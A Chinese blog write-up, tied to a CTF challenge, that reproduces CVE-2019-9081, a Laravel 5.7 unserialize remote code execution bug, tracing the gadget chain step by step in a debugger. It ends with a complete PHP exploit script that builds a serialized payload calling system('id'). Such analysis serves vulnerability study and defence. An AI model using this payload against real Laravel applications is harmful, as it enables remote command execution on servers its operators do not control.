laravel反序列化(CVE-2019-9081)

环境

centos7
php7.1.30
laravel5.7.28

复现过程

本次漏洞点在PendingCommand文件中,这个文件定义了PendingCommand类,该类存在__destruct(),在__destruct()中调用了该类的run()。那么就是通过反序列化触发PendingCommand类__destruct析构函数,进而调用其run()实现代码执行


根据已有的exp分析,在PendingCommand类中需要用到的几个属性如下

$this->app;         //一个实例化的类 Illuminate\Foundation\Application
$this->test;        //一个实例化的类 Illuminate\Auth\GenericUser
$this->command;     //要执行的php函数 system
$this->parameters;  //要执行的php函数的参数  array('id')

调试过程

该漏洞存在`laravel组件中,因此要基于Laravel进行二次开发后可能存在此反序列化漏洞,通过qwb题目分析

<?php
namespace App\Http\Controllers;
highlight_file(__FILE__);
class TaskController
{
    public function index()
    {
        if(isset($_GET['code']))
        {
            $code = $_GET['code'];
            unserialize($code);
            return "Welcome to qiangwangbei!";
        }
    }
}
?>
  • 首先在unserialize()处下断点,F7步入unserialize()进行分析,在左下方的函数调用栈中发现出现了两处调用,首先调用spl_autoload_call()(尝试所有已注册的函数来加载类),因为在payload中使用的类在Task控制器中并没有加载进来,因此便触发了PHP的自动加载的功能(autoload 机制可以使得 PHP 程序有可能在使用类时才自动包含类文件,而不是一开始就将所有的类文件 include 进来,这种机制也称为 lazy loading)

加载过程
首先是类AliasLoadderload()的调用,使用Laravel框架所带有的Facade功能去尝试加载我们payload中所需要的类。


首先提供所要加载的类是不是其中包含Facades,如果是则通过loadFacade()进行加载


通过load()没有加载成功,调用loadclass()进行加载,

loadclass()中通过调用findfile()尝试通过Laravel中的composer的自动加载功能含有的classmap去尝试寻找要加载的类所对应的类文件位置,此时将会加载vendor目录中所有组件, 并生成namespace + classname的一个 key => value 的 php 数组来对所包含的文件来进行一个匹配

找到类PendingCommand所对应的文件后,将通过includeFile()进行包含

完成类PendingCommand的整个加载流程

  • 加载完所需要的类后,将进入__destruct()hasExecuted属性默认为false,调用run()

  • F7进入用于执行命令的run()
  • run()中,首先要调用mockConsoleOutput()
  • 该方法主要用于模拟应用程序的控制台输出,此时因为要加载类Mockery和类Arrayinput,所以又要通过spl_autoload_call->load->loadclass加载所需要的类,并且此时又会调用createABufferedOutputMock()
  • F7进入createABufferedOutputMock(),调用了Mockery的mock()函数。F7进入mock(),这里又进行一次对象模拟。
  • 继续createABufferedOutputMock()往下看,此时createABufferedOutputMock()进入for循环,并且在其中要调用testexpectedOutput属性,然而在可以实例化的类中不存在expectedOutput属性(ctrl+shift+F全局搜索),只在一些测试类中存在。
  • 这里要用到php魔术方法中的一个小trick,当访问一个类中不存在的属性时会触发get(),通过去触发get()方法去进一步构造pop链,在Illuminate\Auth\GenericUserget()
  • 此时$this->testIlluminate\Auth\GenericUser的实例化对象,是我们传入的,那么是可控的,则$this->attributes通过反序列化是可控的,因此我们可以构造$this->attributes键名为expectedOutput的数组。这样一来$this->test->expectedOutput就会返回$this->attributes中键名为expectedOutput的数组。
  • 此时回到mockConsoleOutput()中,又进行了一个循环遍历,调用了test对象的的expectedQuestions属性,里面的循环体与createABufferedOutputMock()的循环体相同,因此绕过方法也是通过调用get(),设置一个键名为expectedQuestions的数组即可
  • 继续F8单步调试就可以return $mock,从而走出mockConsoleOutput(),接下来回到run()
  • 其中Kernel::class在这里是一个固定值Illuminate\Contracts\Console\Kernel,并且call的参数为我们所要执行的命令和命令参数($this->command, $this->parameters),需要弄清$this->app[Kernal::class]返回的是哪个类的对象,使用F7步入程序
  • 直到得到以下的getConcrete(),在704行判断$this->bindings[$abstract])是否存在,若存在则返回$this->bindings[$abstract]['concrete']$bindingsContainer.php文件中Container类中的属性。只要寻找一个继承自Container的类,即可通过反序列化控制 $this->bindings属性Illuminate\Foundation\Application恰好继承自Container类。$abstract变量Illuminate\Contracts\Console\Kernel,只需通过反序列化定义Illuminate\Foundation\Application$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句,返回我们要实例化的类名。
  • 到了实例化Application类的时候, 此时要满足isBuildable()才可以进行build

  • 此时$concreteApplication,而$abstractkernal,此时不满足Application实例化条件,此时继续F7,将会调用make()
  • 此时将$abstract赋值为了Application,并且make()又调用了resolve(),即实现了第二次调用isBuildable()判断是否可以进行实例化,即此时已经可以成功实例化类Application,完成了$this->app[Kernel::class]为Application对象的转化
  • 接下来将调用类Application中的call(),即其父类Container中的call()
  • 其中第一个分支isCallableWithAtSign()判断回调函数是否为字符串并且其中含有@,并且$defaultMethod默认为null,显然此时不满足if条件,即进入第二个分支,callBoundMethod()的调用.
  • 前面的static::callBoundMethod只是判断我们的$callback是否为数组。后面的匿名函数直接调用call_user_func_array(),并且第一个参数我们可控,参数值为system,第二个参数由static::getMethodDependencies方法返回。跟进static::getMethodDependencies
  • static::getCallReflector($callback)用于利用反射获取$callback的对象,继续往下执行static::addDependencyForCallParameter,会对$callback的对象添加一些参数,最后将我们传入的$parameters参数数组$dependencies数组合并,$dependencies数组为空。最后在BoundMethod对象call()中我们相当于执行了以下代码:call_user_func_array('system',array('id'))

exp

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
             )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                     )
             )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('id'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

参考文献:
https://laravel.com/api/5.7/Illuminate/Foundation/Testing/PendingCommand.html
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce
https://xz.aliyun.com/t/5510

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,835评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,598评论 1 295
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,569评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,159评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,533评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,710评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,923评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,674评论 0 203
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,421评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,622评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,115评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,428评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,114评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,097评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,875评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,753评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,649评论 2 271

推荐阅读更多精彩内容